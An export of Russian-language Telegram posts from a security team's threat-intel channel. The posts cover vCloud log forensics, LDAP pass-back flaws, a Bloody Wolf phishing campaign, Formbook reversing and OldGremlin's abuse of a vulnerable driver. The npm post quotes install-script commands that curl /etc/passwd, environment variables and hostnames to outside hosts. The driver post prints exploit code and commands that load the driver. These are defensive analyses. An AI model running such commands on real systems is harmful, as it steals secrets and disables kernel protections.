ESCalator
6.56K subscribers
477 photos
1 video
18 files
190 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
All Hackers Go To Cloud ☁️💻

В ходе расследования одного из инцидентов в полностью зашифрованной инфраструктуре мы выявили автономный веб-сервер с сайтом заказчика, не связанный напрямую с основной инфраструктурой, на котором был установлен хакерский туннель GSocket, с которого могли осуществляться атаки как на текущего заказчика, так и на другие российские компании.

Времени с момента установки туннеля прошло много, а из лог-файлов у нас только запись в логе auth, говорящая о том, что за пару минут до установки GSocket злоумышленник зашел в систему с учетной записью root, используя локальную консоль:

login[1206]: ROOT LOGIN  on '/dev/tty1'


💡 Cервер находился в инфраструктуре одного из российских провайдеров облачных сервисов на базе VMware Cloud Director.

Что можно запросить у провайдера и какие ценные данные для расследования можно получить? Давайте разбираться.

1. Лог-файлы доступа к веб-консоли управления vCloud. Обычно расположены в каталогах:

/opt/vmware/vcloud-director/logs
/opt/vmware/var/log/


Имеют имя YYYY_MM_DD.request.log и формат стандартного APACHE-лога (подробнее о лог-файлах можно почитать тут).

При их анализе можно получить идентификатор нужной нам ВМ (обычно имеет вид vm-xxxx-xxxx-xxxx-xxxxx-xxxxxxxxxxxx), IP-адрес запрашивающего клиента и его User-Agent.

Пример события:

[IP-Address] - - [11/Jan/2025:05:36:17 +0000] "GET https://vcloudsite.com/cloudapi/1.0.0/sessions/current HTTP/1.1" 200 309 "https://vcloudsite.com/tenant/org_162736/vdcs/bg85164f-8df3-4df8-ed78-gt489521657a/vapp/bg85164f-8df3-4df8-ed78-gt489521657a/vcd-vapp-vms/vm-8700-5797-076e-582e-a4a9-e82919a8864c/general" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 118


2. Лог-файлы событий (заданий), происходивших на нужной нам ВМ. Их можно выгрузить через интерфейс портала управления vCloud или запросить у провайдера по идентификатору ВМ (можно найти в свойствах ВМ на портале).

В этих логах нас интересует событие jobAcquireScreenTicket, которое фиксирует обращение пользователя к ВМ через веб-консоль управления (tenant portal):

https://vcloudsite.com/api/task/a983bdce-ee6f-4a7b-b36d-d079be22c7a8;a658adcd-dd5e-4d1d-b25d-d083be31c2a6;;;;2024-11-25T22:42:42.547Z;jobAcquireScreenTicket;https://vcloudsite.com/api/vApp/vm-8700-5797-076e-582e-a4a9-e82919a8864c;www-srv;vm;Acquired Screen Ticket of Virtual Machine www-srv(e3380056-ac0d-22a0-76d3-2888eeb8efb2);https://vcloudsite.com/api/org/8561881b-ef74-438b-a526-2e56473d0eb6;org_262549;user;;com.vmware.vcloud;2024-11-25T22:42:42.547Z;success;


3. Лог-файлы балансировщиков VMware NSX Edge Gateway, которые расположены перед гипервизором vCloud и распределяют запросы пользователей. В них также можно найти IP-адрес пользователя, запрашивающего доступ к консоли или порталу управления, сопоставив запросы с ключевыми словами GET / LOGIN / Tenant и время обращения к ВМ из логов выше.

Вот пример подобного события:

Nov 25 22:42:42 NSX-edge-2-0 loadbalancer[10058]: [default]: {ip-адрес} - - [25/Nov/2024:22:42:42 +0000] "GET /login?service=tenant:org_141783&redirectTo=%2Ftenant%2Forg_171438 HTTP/1.1" 302 182 "" "" 25165 801 "VCD-HTTPS~" "vcd-https" "a99vcd99" 0 0 5 0 5 ---- 6 5 0 0 0 0 0 "" ""


📌 В нашем кейсе с помощью сопоставления по временным меткам данных, полученных таким образом, удалось установить IP-адреса злоумышленников, с которых осуществлялся доступ в инфраструктуру.

Happy Investigating! 🛡

#DFIR #Tips #Detect
@ptescalator
🔥1614👍14
Уязвимости типа Pass Back: что это такое и насколько опасны 🧐

Есть целый класс уязвимостей, которые на первый взгляд выглядят безобидно, и даже уровень опасности у них низкий или средний. Но если разобраться в нюансах, то все уже не кажется таким безобидным.

Примером такой уязвимости является LDAP Pass Back (CVE-2024-32122), которую зарегистрировал ведущий специалист отдела наступательной безопасности PT ESC Владислав Дриев совместно со специалистом по анализу защищенности УЦСБ Олегом Лабынцевым.

Эта уязвимость позволяет получить учетные данные (УД) от LDAP в открытом виде (зачастую это УЗ AD), злоумышленнику нужно лишь частично изменить конфигурацию коннектора. Уязвимость встречается в разных видах и в самых разных устройствах и программных продуктах.

Атакующий может получить УД в открытом виде или в виде хеша с захваченного устройства или софта. Ярким примером таких устройств, конечно, являются МФУ, но точно не ограничиваемся только ими. Уязвимыми также могут быть домофоны, камеры, сетевое оборудование. Если говорить про ПО, то чаще всего это CMS.

В чем конкретно проблема 🤔

Проблема в том, что атакующий может влиять на конфигурацию устройства, в которой есть УД. Чтобы было еще понятнее, приведем пример. Настроили МФУ, чтобы оно могло отправлять сообщения по SMTP на почту, также настроили аутентификацию по LDAP, чтобы динамически загружался список контактов, а еще — SMB, чтобы сразу можно было складывать отсканированные документы в сетевую папку.

Далее рассмотрим ситуацию, когда атакующий смог получить доступ к веб-интерфейсу с помощью УД по умолчанию. В таком случае он может попробовать изменить IP-адрес конфигурации, которая содержит УД, поменяв в ней IP-адрес на подконтрольный ему. Что это даст и почему это вообще возможно? Опыт показывает, что в большинстве случаев смена только IP-адреса в конфигурации разрешена. Соответственно, УД будут использованы валидные. Таким образом, злоумышленник сможет получить обращение с корректными учетными данными на свой IP-адрес, где сможет достать их из трафика либо в открытом виде, либо в виде хеша.

SMTP (без TLS) зачастую позволяет получить УД в открытом виде.
LDAP позволяет получить данные в открытом виде.
SMB позволяет получить хеш (часто NetNTLMv1, с которого можно выполнить NTLM Relay).
другое (УД для IP-телефонии, которые обернуты в Base64).

Что здесь небезопасного, ведь доступ ко всем конфигам скрыт за аутентификацией? Да, но не всегда все так. Способы получения доступа к конфигурациям:

УД по умолчанию.
IDOR (выделен отдельно от уязвимостей, потому что встречается часто).
Уязвимость для получения доступа к веб-интерфейсу администратора.

Еще есть случаи, когда на устройстве работает несколько администраторов, у них разные роли, но при этом каждый может получить доступ к УД коннекторов через такой нехитрый способ.

Так или иначе атакующий получит доступ к устройству. После этого скомпрометирует УД и начнет развивать атаки на смежные сервисы, в частности на AD. Кроме того, среди этого всего бывают уникальные и выдающиеся случаи:

CMS работает с учетной записью администратора домена.
МФУ работает с учетной записью администратора домена.

В итоге уязвимость низкого или среднего уровня опасности может стать звеном в цепочке компрометации всей инфраструктуры.

Итак, как этого избежать 🧐

Самый простой способ — при любом изменении конфигурации УД запросить ввести их заново. Если конфигурацию меняет администратор, для него это не будет проблемой. А если атакующий, то он ничего не получит. Понятно, что на софт не всегда можно повлиять, тогда перед тем, как войти под своей УЗ на какое-то новое устройство, можно самостоятельно проверить, как оно ведет себя с разными конфигурациями, нет ли возможности извлечь УД из него.

Более того, такие УЗ следует ограничивать в правах, брать на мониторинг. Если от имени УЗ началась разведка в домене — это явный признак компрометации устройства. Ну и конечно, нужно защищать устройства и ПО: менять пароли по умолчанию, регулярно устанавливать обновления.

#CVE #offensive
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
17🤝9👾8👍6
Возвращение blood’ного волка 🐺

С начала мая группой киберразведки PT ESC была обнаружена новая волна атак группировки Bloody Wolf на организации Киргизии.

Ранее коллеги описывали цепочку атаки этой группировки на пользователей из Казахстана и России. В текущей кампании мы видим почерк Bloody Wolf (за некоторыми исключениями).

Цепочка атаки все также начинается с фишингового письма с вложенным PDF-файлом (скриншот 1). В документе содержатся уведомление о проверке якобы от налоговой службы, генеральной прокуратуры или судебного департамента и ссылки для скачивания материалов. Для их открытия требуется Java, инструкция по ее установке также находится во вложениях. С начала мая мы выявили 40 подобных PDF-файлов, загруженных в публичные песочницы преимущественно из Киргизии (скриншоты 2–5) 📁

Интересно, что ссылки для русского и киргизского языков различаются и ведут на разные домены, хотя итоговая нагрузка идентична, только имена создаваемых папок, ключей в реестре и задач планировщика другие. URL-адреса, по которым загружаются файлы, достаточно длинные, например:

http://esf-kg.com/api/public/storage/cases/7432612384dio/ispolnitelnyj_protsess/accounts/companies/clients/420523/attachments_823664/registered/files7312518/download/PostanovleniePrivate1.4KG.jar


Использование таких длинных URL-адресов может быть связано с маскировкой под структуру реальных государственных порталов, чтобы не вызывать подозрений у жертвы 🏢

После перехода по ссылке скачивается JAR-загрузчик (часть кода приведена на скриншоте 6). При запуске он создает папку с заданным именем в папке документов пользователя и скачивает набор файлов для NetSupport, предварительно проверяя доступность узла. Затем открывает client32.exe — основной файл NetSupport, а также закрепляется тремя способами: через BAT-файл в папке автозагрузки, через ключ в реестре (Run) и через задачу планировщика с запуском при входе в систему.

При этом в загрузчике есть проверка на количество запусков файла: если их будет более трех, то он не откроется. Кроме того, при выполнении client32.exe появляется окно-заглушка: в последних семплах — сообщение об ошибке, ранее — приложение для проверки ИНН (скриншоты 7, 8).

IoCs:

C2 NetSupport RAT: 
hgame33.com
ravinads.com

Серверы для размещения полезной нагрузки JAR- и NetSupport-файлов:
auditnotice-kg.com
servicedoc-kg.com
esf-kg.com
tax-kg.com
minjust-kg.com
sti-salyk.com
sti-kg.com

PostanovleniePrivate1.4.jar
MD5:5c4a57e2e40049f8e8a6a74aa8085c80
SHA-1:15eb1cdd994b56f1d060137a2ac2f7fd7d10c48c
SHA-256:b10418925a91072e1e30438dc89ba12fbb3b0ead13f314919be33d476e3efa42

Постановление_Судебный_исполнитель_15833.pdf_с_уведомлением.pdf
MD5:b51d9edc1dc8b6200f260589a4300009
SHA-1:c5fcc1c71d5fbcadc2189d5cef6c026c14f4a11a
SHA-256:18d97b6014088df9ba731cf6327758fb500a0133b44c3d47122b341a3edb8d03


#TI #Phishing #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
18🔥10👍7🆒2
Node JS. Вредоносная активность на стадии установки

В рамках исследования действий злоумышленников в npm (Node Package Manager, основного репозитория JS-кода) мы решили одним глазком заглянуть в это направление.

В пакетах JavaScript существует механизм запуска скриптов на этапе установки. Он описывается в конфигурационном файле package.json в секции scripts:

{
"name": "<from-ptescalator-with-love>",
"version": "1.0.0",
"description": "Example config of package.json for demonstration-purposes",
"main": "hello.js",
"scripts": {
"preinstall": "echo \"I will be run at pre-install stage\"",
"install": "echo \"I will be run at install stage\"",
"postinstall": "echo \"I will be run at post-install stage\""
}
}


Значения являются командами для системного интерпретатора, будь то sh, bash, fish или даже виндовый cmd — что стоит по умолчанию, то и будет использовано 😎

Злоумышленники идут двумя путями в рамках эксплуатации возможности запустить свою нагрузку во время установки:

🫥 Запустить js-код

atlas-websocket@33.9.9, postinstall:
node index.js


wokes@1.0.0, postinstall:
node cli/setup-security.js


🫥 Исполнить команду системным интерпретатором:

autogestion-aprendizaje@1.0.4, preinstall, передача hostname:
echo "No tests" && curl "http://[REDACTED].net/?NPM=$(hostname)&<template>"


bsee-shared-hmd@1.0.6, preinstall, кража /etc/passwd и получение hostname:
sh -c 'curl -X POST -d "user=$(whoami)&host=$(hostname)&passwd=$(cat /etc/passwd | base64)" https://webhook-test.com/[REDACTED]'


storyblok-rich-text-astro-renderer-workspace@99.99.99
, postinstall, кража переменных окружения:
curl -X POST https://[REDACTED].oastify.com --data "$(env)"


arkoselabs@99.9.13
, preinstall, кража переменных окружения, /etc/passwd, hostname и имени пользователя:
curl --data-urlencode "info=$(hostname && whoami && cat /proc/self/environ && cat /etc/passwd)" http://[REDACTED].oast.me"


Если пост соберет 1000 сердечек🥰 В следующий раз расскажем о разнообразии нагрузок-скриптов на этапе установки JS-пакетов.

#ti #scs #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
40🔥9👍7🤡1
Углубление в импорты: продолжаем изучать способы статического резолва 🕵️‍♂️

Ранее мы рассказывали, как может быть реализован статический резолв импортов. Однако для полноты картины мы решили показать еще один пример того, какими бывают механизмы динамического разрешения импортов во вредоносном ПО и как с помощью статического анализа превратить группу непонятных байтов в осмысленные названия функций. Это поможет ускорить процесс реверса и избавит нас от необходимости ручной разметки.

В качестве примера рассмотрим один из свежих образцов Formbook. Позволим ему распаковаться, после чего сдампим и откроем его в IDA Pro. Побродив по функциям, можно заметить несколько закономерностей в вызовах, которые очень похожи на динамическое разрешение импортов (cкриншот 1).

❗️ Также следует обратить внимание, что функций с расшифровкой хешей две: decrypt_hash, которая использует только зашифрованный хеш функции, и decrypt_hash_xor, которая имеет дополнительный параметр, назначение которого станет известно позднее.

Заглянем внутрь обеих функций и увидим, что единственное различие между ними — подход к генерации ключа для RC4. Второй параметр в decrypt_hash_xor накладывается на жестко заданный ключ перед вызовом функции расшифровки (скриншот 2).

Осталось понять, что происходит в вызове decrypt_rc4_buff, и можно писать декриптор. Содержимое функции можно увидеть на скриншоте 3.

Циклы до и после непосредственной расшифровки RC4 сводятся к последовательному попарному вычитанию соседних байтов сначала слева направо, а затем справа налево. Эквивалент кода на питоне представлен на скриншоте 4.

🧤 Дело осталось за малым — пройтись по ссылкам на эти две функции и собрать аргументы, после чего восстановить исходные имена импортов. Для реализации первой части определим класс CallVisitor и определим в нем логику по сохранению нужной информации о вызове (скриншот 5). Такой подход удобнее, чем «ручной» поиск аргументов путем обратной итерации по инструкциям, предшествующим вызову, поскольку зачастую аргументы могут быть обфусцированы: разбросаны по телу вызывающей функции или вычисляться непосредственно перед вызовом.

Чтобы получить имя оригинальной функции из хеша, воспользуемся утилитами flare-ida. Среди прочего там уже есть БД sc_hashes.db с заранее просчитанными хешами для стандартных библиотек, которая позволит нам быстро восстановить большую часть импортов. Для отсутствующих в БД библиотек можно сгенерировать хеши самостоятельно лежащим рядом скриптом (скриншот 6).

Результат работы можно увидеть на скриншоте 7. Больше 80% найденных функций восстановились с ходу.

😎 Как и ожидалось, восстановленные хеши были созданы алгоритмом crc32bzip2, они встречались и в более ранних семплах Formbook. Таким образом, нам удалось быстро восстановить импорты в исследуемом образце, а также понять общий подход к шифрованию данных в Formbook, что в дальнейшем значительно упрощает его анализ.

#tip #reverse #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1612👍112😁1
OldGremlin with old tricks

OldGremlin известна как группировка вымогателей 😭. Для остановки работы антивирусов (да и любых программ) загружает TinyKiller, состоящий из трех файлов:

🐾 patcher_pdfw.exe — патчер для загрузки avkd.sys;
🐾 avkd.sys — вредоносный драйвер;
🐾 PdFwKrnl.sys — легитимный драйвер AMD Radeon Driver, уязвимый для чтения и записи.

Патчер на самом деле эксплуатирует уязвимость CVE-2023-20598 в драйвере AMD для загрузки своего неподписанного драйвера 😉. Для этого используется старый трюк — обход защиты Driver Signature Enforcement (DSE), выключая внутренний флаг. В версиях Windows 8 до 9600 билда этот параметр назывался nt!g_CiEnabled и находился в ntoskrnl.exe. В последующих версиях за проверку подписи отвечал внутренний параметр CI!g_CiOptions из CI.dll.

Процесс получения адреса этого параметра достаточно трудоемок 😫 и полностью описан в рамках этой статьи. Получив адрес флага, патчер использует уязвимый драйвер.

Если посмотреть обработчик сообщений, то уязвимыми для чтения и записи являются ioctl 0x80002014, 0x80002020, 0x80002028 и 0x8000202C 😨. Злоумышленник использует первый вариант и составляет пакет для отправки драйверу:

  BytesReturned = 0;
v5 = Msg;
for ( i = 0xCi64; i; --i )
*v5++ = 0;
*(_QWORD *)&Msg[0x18] = address;
*(_DWORD *)&Msg[0x28] = size; // eq 4
*(_QWORD *)&Msg[0x10] = output;
return DeviceIoControl(hDevice, 0x80002014, Msg, 0x30u, Msg, 0x30u, &BytesReturned, 0i64);


Здесь address — это найденный ранее offset флага. Внутри драйвера это сообщение попадает в следующий обработчик, выполняющий прямой memmove значения address в output:

mov     r8d, [IRP+28h]  ; MaxCount
mov rdx, [IRP+18h] ; Src
mov rcx, [IRP+10h] ; Dst
call memmove


Очевидно 😆, чтобы отключить флаг проверки подписи и записать по этому адресу 0=disabled, необходимо просто поменять местами значения Msg[0x18] и Msg[0x10]. После запуска вредоносного драйвера значение флага проверки подписи возвращают на место и выгружают из системы уязвимый драйвер.

Техника взятия с собой уязвимого драйвера (BYOVD) все чаще используется злоумышленниками для различных целей 😶. Большинство из них используют уже известные уязвимые драйверы, наличие которых можно обнаружить при помощи LOLDrivers или настройки списков исключений от Microsoft. Кроме того, стоит обращать внимание на запуск служб драйверов 😌.

OldGremlin используют следующие команды для загрузки уязвимого драйвера и своего:

sc create vprovdrv binpath= "<path>\PdFwKrnl.sys" type= "kernel
sc start vprovdrv

sc create avkdriver binpath= "<path>\avkd.sys" type= "kernel
sc start avkdriver


IoCs

avkd.sys
eac69feccd33f6b97f7b60c1ded22d2b7f689921b28e531e7c2a925c09ce0936

patcher_pdwf.exe
116fbf458c1062303c2630116f8cad23d394106a5ddcc6d687f0f33dbe17a492
d236bfc015e735a64ad3c2d447fa70926b898a4e9b9af11f94b83ce768bbd434

PdFwKrnl.sys
0cf84400c09582ee2911a5b1582332c992d1cd29fcf811cb1dc00fcd61757db0
6945077a6846af3e4e2f6a2f533702f57e993c5b156b6965a552d6a5d63b7402


#APT #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2213👍13